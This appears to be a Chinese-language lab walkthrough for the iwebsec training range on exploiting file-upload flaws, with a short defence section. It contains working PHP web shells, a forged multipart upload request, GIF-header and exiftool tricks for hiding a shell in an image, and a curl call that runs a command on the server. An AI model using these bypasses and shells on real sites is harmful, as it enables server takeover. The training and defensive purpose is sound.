1. iwebsec靶场与文件上传漏洞概述
iwebsec作为国内知名的Web安全实战靶场平台,其文件上传漏洞场景是渗透测试工程师必须掌握的实战技能点。文件上传功能在Web应用中极为常见,从社交媒体的头像更换到企业OA系统的附件提交都依赖于此功能。但开发者若未对上传文件进行严格校验,攻击者便可上传恶意脚本文件(如PHP、JSP),进而获取服务器控制权。
在iwebsec靶场中,文件上传漏洞被设计为渐进式挑战,包含以下典型漏洞类型:
- 前端JS校验绕过
- MIME类型检测绕过
- 文件扩展名黑名单/白名单绕过
- 文件内容检测绕过
- 条件竞争漏洞利用
2. 基础绕过:前端校验突破
2.1 前端校验机制分析
当靶场页面限制只能上传.jpg/.png文件时,常见的前端防御手段包括:
<input type="file" accept=".jpg,.png" onchange="checkFile(this)"> <script> function checkFile(input) { const ext = input.value.split('.').pop().toLowerCase(); if(!['jpg','png'].includes(ext)) { alert('仅允许JPG/PNG文件'); input.value = ''; } } </script>2.2 绕过实战步骤
- 拦截修改请求:使用Burp Suite捕获上传请求
- 扩展名篡改:将
shell.php改为shell.jpg上传 - 数据包重放:在Burp中修改filename为
shell.php后放行 - 结果验证:访问
/uploads/shell.php执行系统命令
关键技巧:Chrome开发者工具中禁用JavaScript可快速绕过纯前端校验(F12 → Settings → Debugger → Disable JavaScript)
3. 中级挑战:服务端校验突破
3.1 MIME类型检测绕过
当服务器检查Content-Type时:
- 合法类型:
image/jpeg,image/png - 绕过方法:修改上传包的Content-Type头
POST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg <!-- 关键修改点 --> <?php system($_GET['cmd']); ?>3.2 文件头欺骗
针对检测文件内容的场景:
- GIF89a伪造:在PHP文件开头添加GIF标识
GIF89a <?php header('Content-Type: image/gif'); system($_GET['cmd']); ?>- PNG头伪造:使用Hex编辑器添加PNG签名
‰PNG
4. 高级技巧:特殊扩展名绕过
4.1 黑名单缺陷利用
当靶场禁止上传.php但遗漏其他可执行扩展名时:
- PHP变种:
.php5,.phtml,.phps - JSP环境:
.jspx,.jspf - ASP环境:
.asa,.cer
4.2 解析特性利用
- Apache解析漏洞:上传
shell.php.xxx,Apache会解析最后的后缀 - IIS6.0分号漏洞:
shell.asp;.jpg会被当作ASP执行 - Nginx文件名逻辑漏洞:
shell.jpg%00.php截断
5. 防御方案与实战建议
5.1 安全开发规范
# 示例:安全的文件上传校验逻辑 ALLOWED_EXTENSIONS = {'jpg', 'png'} def validate_file(file): # 校验扩展名 if '.' not in file.filename or \ file.filename.rsplit('.', 1)[1].lower() not in ALLOWED_EXTENSIONS: raise ValueError('非法文件类型') # 校验内容类型 if file.content_type not in ['image/jpeg', 'image/png']: raise ValueError('非法MIME类型') # 校验文件头 header = file.read(8) if not header.startswith(b'\xFF\xD8\xFF') and not header.startswith(b'\x89PNG\r\n\x1A\n'): raise ValueError('文件内容异常') file.seek(0)5.2 运维加固措施
- 上传目录设置为不可执行:
chmod -R 755 /var/www/uploads - 存储重命名策略:
md5(时间戳+文件名)+.jpg - 定期漏洞扫描:使用ClamAV检测上传目录
6. 靶场实战全记录
以iwebsec的Level 5为例演示完整渗透流程:
- 初步测试:上传
.php文件返回"禁止上传脚本文件" - 信息收集:尝试
.php5发现未被过滤 - 内容绕过:在PHP文件中添加GIF头仍被拦截
- 组合利用:
- 使用ExifTool插入注释:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' test.jpg - 重命名为
test.jpg.php
- 使用ExifTool插入注释:
- 漏洞利用:
curl http://target/upload/test.jpg.php?cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data)
通过iwebsec靶场的系统化训练,可以掌握从基础到高级的文件上传漏洞利用技术。建议在实战中结合其他漏洞(如目录遍历、文件包含)形成组合攻击链。